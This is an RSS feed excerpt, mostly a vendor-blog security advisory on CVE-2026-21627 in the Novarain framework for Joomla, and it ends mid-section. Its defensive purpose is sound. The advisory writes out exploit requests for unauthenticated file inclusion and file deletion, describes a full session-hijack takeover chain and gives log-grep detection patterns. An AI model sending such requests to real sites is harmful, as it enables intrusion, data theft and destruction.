&lt;p&gt;If you&apos;re running Joomla 5 today with the compat plugin enabled, you have until your Joomla 6 upgrade to sort it out. If you&apos;re already on Joomla 6, the J4 compat layer is already gone - any extensions that needed it either broke during the upgrade or were updated beforehand.&lt;/p&gt;
&lt;p&gt;For Joomla 6 sites, the &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; plugin gives you a similar grace period for J5 deprecated classes until Joomla 7 arrives.&lt;/p&gt;
&lt;p&gt;Joomla gives you one major version cycle to update your code. After that, the safety net disappears.&lt;/p&gt;
&lt;h2&gt;How to Prevent Accidental Joomla Version Jumps&lt;/h2&gt;
&lt;p&gt;While you&apos;re testing compat plugin readiness, make sure your production sites aren&apos;t set to accidentally upgrade to the next major version. The update channel controls which versions Joomla offers. Check out our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;how to prevent accidental Joomla version jumps&lt;/a&gt; to lock your sites to the current series until you&apos;re ready.&lt;/p&gt;
&lt;p&gt;You can also check the update channel status for all your sites on the same &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Compatibility page&lt;/a&gt; that now shows compat plugin status.&lt;/p&gt;
&lt;h2&gt;Watch: Joomla Backward Compatibility Plugin Explained&lt;/h2&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; covered the backward compatibility plugin back in 2024, but the fundamentals haven&apos;t changed. If you prefer video over text, this is still a solid walkthrough of what the plugin does and why it matters:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;Check out his &lt;a href=&quot;https://www.youtube.com/@basicjoomla/search?query=mysites.guru&quot;&gt;full mySites.guru playlist on YouTube&lt;/a&gt; for more walkthroughs of the audit tools.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;Compatibility Plugin (J4 to J5) - Joomla Programmers Documentation&lt;/a&gt; - official mapping of deprecated J4 classes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/compat-plugin/&quot;&gt;Compatibility Plugins (J5 to J6) - Joomla Programmers Documentation&lt;/a&gt; - official mapping of deprecated J5 classes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/february-2024/the-backward-compatibility-plugin-and-why-you-should-switch-it-off&quot;&gt;The Backward Compatibility Plugin and Why You Should Switch It Off - Joomla Magazine&lt;/a&gt; - Joomla community perspective&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/&quot;&gt;Joomla 5.4 to 6.0 Upgrade Notes - Joomla Documentation&lt;/a&gt; - full migration planning guide&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>extensions</category><category>compatibility</category><category>migration</category><enclosure url="https://mysites.guru/_astro/joomla-compat-plugin-crutch.DCr5AQmj.png" length="0" type="image/png"/></item><item><title>Novarain Framework Vulnerability: Check Your Joomla Sites for nrframework</title><link>https://mysites.guru/blog/novarain-framework-joomla-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/novarain-framework-joomla-vulnerability/</guid><description>CVE-2026-21627 (CVSS 9.5) - Tassos/Novarain Framework for Joomla allows unauthenticated file inclusion, deletion, and SQL injection.</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos/Novarain Framework&lt;/a&gt; (plg_system_nrframework) for Joomla has a critical vulnerability (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627&lt;/a&gt;, CVSS 9.5) that allows unauthenticated attackers to include arbitrary PHP files, delete files, and perform SQL injection. A public exploit tool is already on GitHub.&lt;/p&gt;
&lt;p&gt;Most Joomla administrators don&apos;t know this plugin is on their sites. It&apos;s a hidden dependency, installed automatically when you add any Tassos.gr extension like Convert Forms, EngageBox, or Google Structured Data. If you manage Joomla sites and you&apos;re not sure whether this affects you, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; to find out.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Why are we writing about this now?&lt;/p&gt;
  &lt;p&gt;This CVE was reserved in January 2026 and publicly disclosed on 16 February. Tassos.gr patched it within days. That was six weeks ago. We&apos;re writing about it because 3,861 sites in our dataset - 46.5% of those running the Novarain Framework - are still on vulnerable versions as of 30 March 2026. The vendor did their job. The patch exists. But a patch nobody installs protects nobody, and a public exploit on GitHub means the window for automated attacks is wide open. If you manage Joomla sites with Tassos extensions and you haven&apos;t checked, this post is for you.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-21627&lt;/strong&gt; - CVSS 9.5 critical unauthenticated vulnerability in plg_system_nrframework versions 4.10.14 through 6.0.37&lt;/li&gt;
&lt;li&gt;Attackers can include arbitrary PHP files, read files, delete files, and perform SQL injection through Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; endpoint - no login required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to nrframework 6.0.38+&lt;/strong&gt; immediately via &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Affects every Joomla site running Convert Forms, EngageBox, Google Structured Data, Advanced Custom Fields, or Smile Pack&lt;/li&gt;
&lt;li&gt;A public exploit with multiple attack modes is available on GitHub&lt;/li&gt;
&lt;li&gt;Already compromised? Updating alone won&apos;t undo the damage. &lt;a href=&quot;#how-do-you-check-if-your-site-has-been-exploited&quot;&gt;Check for signs of compromise below&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;This vulnerability was disclosed on 16 February 2026 and patched the same week. That was six weeks ago. As of 30 March 2026, 46.5% of affected sites in our dataset are still running vulnerable versions. A weaponised exploit tool with multiple attack modes is on GitHub. If you haven&apos;t patched, your sites have been exposed for over a month.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;To their credit, &lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr responded quickly&lt;/a&gt;. They published a security advisory on 18 February 2026, two days after the SSD disclosure, and confirmed patched versions for every affected extension on both Joomla 3 and Joomla 4/5/6. They also noted they had &quot;no evidence that this vulnerability has been exploited in the wild&quot; at the time of their advisory. The vendor did their part. The problem is that six weeks later, nearly half the sites running their framework haven&apos;t applied the update.&lt;/p&gt;
&lt;h2&gt;What is the Novarain Framework?&lt;/h2&gt;
&lt;p&gt;The Novarain Framework (also called the Tassos Framework) is a shared library plugin for Joomla, distributed as &lt;code&gt;plg_system_nrframework&lt;/code&gt;. It provides common functionality - AJAX handling, custom fields, form processing, geo-IP lookups - used by every extension in the &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr&lt;/a&gt; product suite.&lt;/p&gt;
&lt;p&gt;Every extension in the suite bundles it:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;JED ranking&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/convert-forms/&quot;&gt;&lt;strong&gt;Convert Forms&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Form builder (contact, payment, registration)&lt;/td&gt;
&lt;td&gt;#2 on JED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/engage-box/&quot;&gt;&lt;strong&gt;EngageBox&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Popup and sticky bar builder&lt;/td&gt;
&lt;td&gt;#6 on JED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/google-structured-data/&quot;&gt;&lt;strong&gt;Google Structured Data&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Schema markup for SEO&lt;/td&gt;
&lt;td&gt;#20 on JED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/advanced-custom-fields/&quot;&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Custom field types for Joomla&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/smile-pack/&quot;&gt;&lt;strong&gt;Smile Pack&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;UI enhancement toolkit&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/marketing/mailing-a-newsletter-bridges/user-auto-add-to-mailchimp-for-joomla/&quot;&gt;&lt;strong&gt;MailChimp Auto-Subscribe&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Mailing list automation&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These are popular, well-regarded extensions. Over 2.1 million downloads across the suite. The framework itself is installed silently as a dependency. You won&apos;t see &quot;Novarain Framework&quot; in any marketing material or installation wizard. It just appears in your plugin list as &lt;code&gt;plg_system_nrframework&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And that&apos;s the problem. An admin installs Convert Forms to build a contact page. They don&apos;t realise they&apos;ve also installed a system plugin with its own AJAX endpoint, file handling methods, and database query layer. When that framework has a critical vulnerability, they don&apos;t know to look for it.&lt;/p&gt;
&lt;h3&gt;How widespread is this?&lt;/h3&gt;
&lt;p&gt;We checked our own data. Across the tens of thousands of Joomla sites connected to mySites.guru:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;th&gt;Percentage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sites with nrframework installed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8,297&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sites on vulnerable versions (&amp;lt; 6.0.38)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3,861&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;46.5% of nrframework sites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sites on patched versions (6.0.38+)&lt;/td&gt;
&lt;td&gt;4,240&lt;/td&gt;
&lt;td&gt;51.1% of nrframework sites&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Nearly half of the sites running the Novarain Framework are still on vulnerable versions. That&apos;s 3,861 sites exposed to unauthenticated remote code execution, with a public exploit available.&lt;/p&gt;
&lt;p&gt;The most common vulnerable version we see is 6.0.37 (328 sites), sitting just one version behind the fix. Sites on older branches like 5.0.x (404 sites on 5.0.88) and 4.x (375 sites on 4.6.23) are also exposed and may need a larger version jump to reach the patched release.&lt;/p&gt;
&lt;p&gt;The version distribution tells a story about how Joomla extension updates actually work in practice. The largest single group (2,855 sites) is already on 6.0.68 - well past the fix. The second-largest group (1,018 sites) is on 6.0.62, also safe. These are sites with active Tassos.gr subscriptions and either automatic updates or attentive admins.&lt;/p&gt;
&lt;p&gt;The vulnerable sites are a mix: some are on the 6.0.x branch but haven&apos;t updated since before the patch (the 328 sites on 6.0.37), some are on older major branches where the admin may not realise a security update is available (the 5.0.x and 4.x clusters), and some are on very old versions (58 sites still running 3.1.7) where the Tassos subscription likely expired years ago and updates simply aren&apos;t available.&lt;/p&gt;
&lt;p&gt;That last group is the hardest to reach. They&apos;re running abandoned extension versions on potentially abandoned Joomla installations, and no amount of vendor patching will fix them. The only way to find and address those sites is to have a central inventory that flags outdated and vulnerable extensions automatically.&lt;/p&gt;
&lt;h2&gt;How to find sites with nrframework installed with mySites.guru&lt;/h2&gt;
&lt;p&gt;Finding affected sites, checking versions, scanning logs, auditing for compromise - that takes about 10 minutes per site when done manually. If you manage 50 Joomla sites, that&apos;s most of a working day. mySites.guru collapses that into minutes.&lt;/p&gt;
&lt;h3&gt;Find every affected site in seconds&lt;/h3&gt;
&lt;p&gt;mySites.guru tracks every installed extension on every connected site, including silent dependencies like nrframework. It&apos;s one of the core features of &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from a single dashboard. Search for &lt;code&gt;nrframework&lt;/code&gt; across your portfolio and you&apos;ll see which sites have it, which version they&apos;re running, and when it was last updated. That&apos;s how we pulled the statistics for this post: 8,297 sites with nrframework, version breakdown by site, all from a single query.&lt;/p&gt;
&lt;p&gt;You don&apos;t need to log into each Joomla admin panel and search the extensions list manually. The inventory is always current. One URL gives you the complete list of every site running nrframework, broken down by version number, with the site&apos;s PHP version, Joomla version, and SSL status alongside it:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, you can open this page right now:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your nrframework installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2e50e1aa3d94b70479ef905895ede5ed&quot;&gt;Open nrframework Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version of plg_system_nrframework installed across all your connected sites, grouped by version number. You&apos;ll see which sites are still on vulnerable versions at a glance.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every version of nrframework installed across connected sites is listed at the top. Below that, every individual site running the plugin, with its exact version. Vulnerable and patched versions are visible at a glance.&lt;/p&gt;
&lt;p&gt;That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, the full picture of which clients are exposed, and patching can start immediately.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your sites. The extension index builds automatically on the first audit.&lt;/p&gt;
&lt;h3&gt;Get alerted the day a CVE drops&lt;/h3&gt;
&lt;p&gt;When a CVE like this one is disclosed, mySites.guru cross-references it against the extension versions on your connected sites and flags every affected installation. You get an alert telling you exactly which sites need patching, rather than finding out weeks later (or from this blog post).&lt;/p&gt;
&lt;h3&gt;Spot uploaded PHP shells before the damage spreads&lt;/h3&gt;
&lt;p&gt;If an attacker exploits CVE-2026-21627 to upload a PHP shell to &lt;code&gt;/images/&lt;/code&gt; or &lt;code&gt;/tmp/&lt;/code&gt;, mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerting&lt;/a&gt; picks it up. You&apos;ll see which file was created, when, and on which site. That&apos;s the difference between finding a backdoor in minutes and discovering it months later when Google flags your site for serving malware.&lt;/p&gt;
&lt;h3&gt;Push the patch to every site at once&lt;/h3&gt;
&lt;p&gt;Once you&apos;ve confirmed the patched version works on a test site, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; to push the Tassos extension update to every affected site in your portfolio simultaneously. One action, all sites patched, window of exposure closed.&lt;/p&gt;
&lt;h3&gt;Scan for backdoors if you were exposed&lt;/h3&gt;
&lt;p&gt;If any of your sites were running a vulnerable version during the six-week window since disclosure, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audit&lt;/a&gt; to scan for signs of exploitation. The audit checks for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspicious files, backdoors, and known hack signatures&lt;/a&gt; across the entire file system - the kind of artefacts an attacker leaves behind after chaining the file inclusion and SQL injection primitives in this vulnerability.&lt;/p&gt;
&lt;h2&gt;What does CVE-2026-21627 actually allow?&lt;/h2&gt;
&lt;p&gt;The vulnerability gives attackers three distinct capabilities, all without authentication:&lt;/p&gt;
&lt;h3&gt;1. Arbitrary PHP file inclusion&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;ajaxTaskInclude()&lt;/code&gt; method in &lt;code&gt;nrframework.php&lt;/code&gt; is whitelisted for frontend access via the &lt;code&gt;$non_admin_tasks&lt;/code&gt; array. It accepts a &lt;code&gt;path&lt;/code&gt; parameter with Joomla&apos;s RAW input filter, which means zero sanitisation. The concatenated path goes straight to &lt;code&gt;@include_once&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;An attacker sends a request like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /?option=com_ajax&amp;amp;format=raw&amp;amp;plugin=nrframework&amp;amp;task=include&amp;amp;path=../../../some/file&amp;amp;class=TargetClass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This lets them include any PHP file on the server and instantiate any class that implements an &lt;code&gt;onAjax&lt;/code&gt; method. Internal helper classes that were never meant to be publicly accessible become remotely reachable gadgets.&lt;/p&gt;
&lt;p&gt;The key detail here is the &lt;code&gt;$non_admin_tasks&lt;/code&gt; array. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; system is designed to let plugins handle AJAX requests from the frontend. The nrframework plugin explicitly lists &lt;code&gt;include&lt;/code&gt; as a task that doesn&apos;t require admin authentication. That&apos;s a design decision in the plugin code, not a Joomla core weakness. The plugin chose to allow unauthenticated users to trigger file inclusion.&lt;/p&gt;
&lt;p&gt;What makes this worse is the &lt;code&gt;class&lt;/code&gt; parameter. After including a file, the plugin instantiates whatever class name the attacker specifies and calls its &lt;code&gt;onAjax&lt;/code&gt; method. Joomla&apos;s codebase contains dozens of classes with &lt;code&gt;onAjax&lt;/code&gt; methods, each one a potential gadget for the attacker to chain into further exploitation.&lt;/p&gt;
&lt;h3&gt;2. Arbitrary file read and file deletion&lt;/h3&gt;
&lt;p&gt;Two built-in classes provide file operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;nrchainedfields&lt;/strong&gt; - handles CSV loading for cascading select fields. By manipulating the file path, an attacker can read any file the web server user can access. Configuration files, database credentials, &lt;code&gt;.htpasswd&lt;/code&gt; files - all readable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nrinlinefileupload&lt;/strong&gt; - provides an &lt;code&gt;onRemove()&lt;/code&gt; method that deletes files at attacker-supplied paths without additional validation.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /?option=com_ajax&amp;amp;format=raw&amp;amp;plugin=nrframework&amp;amp;task=include&amp;amp;class=NRInlineFileUpload&amp;amp;action=remove&amp;amp;remove_file=/path/to/target
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. SQL injection&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;ajaxify.php&lt;/code&gt; and &lt;code&gt;componentitems.php&lt;/code&gt; classes pass attacker-controlled &lt;code&gt;term&lt;/code&gt; parameters directly into database queries. This allows arbitrary table and column reads, including super-admin session tokens stored in Joomla&apos;s session table.&lt;/p&gt;
&lt;p&gt;These classes are designed for dynamic field population, the kind of thing that powers a &quot;search as you type&quot; dropdown in a form. The &lt;code&gt;term&lt;/code&gt; parameter is supposed to be a search string entered by a user filling out a Convert Forms field. Instead, an attacker can supply SQL fragments that get concatenated into the query without prepared statements or parameter binding.&lt;/p&gt;
&lt;p&gt;With read access to the database, the attacker can pull the &lt;code&gt;#__session&lt;/code&gt; table to find active super-admin sessions, extract user password hashes from &lt;code&gt;#__users&lt;/code&gt;, or read any other data the database user has access to. (For more on why &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Joomla database security&lt;/a&gt; matters, see our dedicated guide.) On shared hosting where the database user often has broader permissions than it should, the blast radius can extend beyond the Joomla database itself.&lt;/p&gt;
&lt;h3&gt;The full attack chain&lt;/h3&gt;
&lt;p&gt;In practice, an attacker chains these together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the Joomla &lt;code&gt;configuration.php&lt;/code&gt; via the file-read primitive to get database credentials&lt;/li&gt;
&lt;li&gt;Use SQL injection to extract super-admin session tokens from the session table&lt;/li&gt;
&lt;li&gt;Hijack an admin session and log into &lt;code&gt;/administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Upload a PHP shell through the template editor or extension installer&lt;/li&gt;
&lt;li&gt;Delete log files and access evidence to cover tracks&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s complete site takeover. Shell access, full database control, and the ability to modify any file on the site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The public exploit on GitHub includes multiple attack modes: file upload, file deletion, SQL injection, and automated session hijacking. This is not a theoretical vulnerability. The tooling to exploit it is freely available and trivial to run.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Which versions are vulnerable?&lt;/h2&gt;
&lt;p&gt;The vulnerability spans the entire Tassos extension suite. If you have any of these versions, you&apos;re exposed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Vulnerable versions&lt;/th&gt;
&lt;th&gt;Patched (Joomla 4/5/6)&lt;/th&gt;
&lt;th&gt;Patched (Joomla 3)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Novarain/Tassos Framework&lt;/strong&gt; (plg_system_nrframework)&lt;/td&gt;
&lt;td&gt;4.10.14 - 6.0.37&lt;/td&gt;
&lt;td&gt;6.0.62+&lt;/td&gt;
&lt;td&gt;6.0.62+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Convert Forms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3.2.12 - 5.1.0&lt;/td&gt;
&lt;td&gt;5.1.1+&lt;/td&gt;
&lt;td&gt;4.4.11+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EngageBox&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6.0.0 - 7.1.0&lt;/td&gt;
&lt;td&gt;7.1.1+&lt;/td&gt;
&lt;td&gt;6.3.9+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google Structured Data&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5.1.7 - 6.1.0&lt;/td&gt;
&lt;td&gt;6.1.1+&lt;/td&gt;
&lt;td&gt;5.6.9+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2.2.0 - 3.1.0&lt;/td&gt;
&lt;td&gt;3.1.1+&lt;/td&gt;
&lt;td&gt;2.8.10+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Smile Pack&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.0.0 - 2.1.0&lt;/td&gt;
&lt;td&gt;2.1.1+&lt;/td&gt;
&lt;td&gt;1.2.4+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MailChimp Auto-Subscribe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;(all unpatched)&lt;/td&gt;
&lt;td&gt;5.1.1+&lt;/td&gt;
&lt;td&gt;5.0.4+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These version numbers come from &lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr&apos;s official security advisory&lt;/a&gt;, published 18 February 2026. The nrframework plugin contains the vulnerable code, but the parent extensions control which version of nrframework gets installed. Updating any one Tassos extension to a patched version will also update the shared framework across all their products.&lt;/p&gt;
&lt;h2&gt;How do you check if your site is affected?&lt;/h2&gt;
&lt;h3&gt;Step 1: Find out if nrframework is installed&lt;/h3&gt;
&lt;p&gt;Log into your Joomla admin panel and go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Extensions&lt;/strong&gt;. Search for &lt;code&gt;nrframework&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If it appears, note the version number. Anything between 4.10.14 and 6.0.37 is vulnerable.&lt;/p&gt;
&lt;p&gt;Alternatively, check via the filesystem. The plugin lives at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;plugins/system/nrframework/nrframework.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If that file exists, the plugin is installed. Open it and look for the version string in the XML header, or check the corresponding &lt;code&gt;nrframework.xml&lt;/code&gt; file in the same directory.&lt;/p&gt;
&lt;h3&gt;Step 2: Check for the parent extensions&lt;/h3&gt;
&lt;p&gt;Search your extensions list for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Convert Forms&lt;/code&gt; (com_convertforms)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EngageBox&lt;/code&gt; (com_rstbox)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Google Structured Data&lt;/code&gt; (com_gsd)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Advanced Custom Fields&lt;/code&gt; (field plugins prefixed with &lt;code&gt;acf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Smile Pack&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any of these means nrframework is present. Even if you&apos;ve disabled the parent extension, the framework plugin may still be enabled and reachable.&lt;/p&gt;
&lt;h3&gt;Step 3: Check your server logs&lt;/h3&gt;
&lt;p&gt;Look for requests targeting the vulnerability. The attack pattern is distinctive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;option=com_ajax.*plugin=nrframework.*task=include&quot; /var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or for nginx:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;option=com_ajax.*plugin=nrframework.*task=include&quot; /var/log/nginx/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any matches indicate scanning or exploitation attempts against your site.&lt;/p&gt;
&lt;h2&gt;How do you check if your site has been exploited?&lt;/h2&gt;
&lt;p&gt;If your site was running a vulnerable version of nrframework while it was publicly accessible, you should check for signs of compromise. Attackers using CVE-2026-21627 would leave traces in several places.&lt;/p&gt;
&lt;h3&gt;Use the mySites.guru security audit tools&lt;/h3&gt;
&lt;p&gt;A mySites.guru &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audit&lt;/a&gt; runs over 50 file-level checks against the entire webspace. Several of these directly detect the artefacts an attacker would leave behind after exploiting CVE-2026-21627.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Hacked?&lt;/strong&gt; section of the audit flags suspect content, mailer scripts, file uploaders, and non-core files. If an attacker uploaded a PHP shell through the file inclusion primitive, the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; will match it against 12 years of known backdoor signatures:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If the scan turns up a long list like the 182 suspect files above, &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;telling confirmed hacked files apart from plain suspect flags&lt;/a&gt; is the fastest way to triage it.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Files Information&lt;/strong&gt; section goes deeper: recently modified files, hidden dot-files, PHP files in directories where they shouldn&apos;t be, files with 777 permissions, SQL dumps left in the webspace, and files modified between audits. If an attacker deleted logs or modified template files to inject code, these checks catch it:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Each check is clickable - you can drill into the individual files, see their contents, and compare against known-good hashes. This is what we built mySites.guru to do: turn a manual forensic process into something you can run across every site in your portfolio in minutes.&lt;/p&gt;
&lt;h3&gt;Manual checks (if you don&apos;t have mySites.guru)&lt;/h3&gt;
&lt;p&gt;If you&apos;re checking manually, here&apos;s what to look for:&lt;/p&gt;
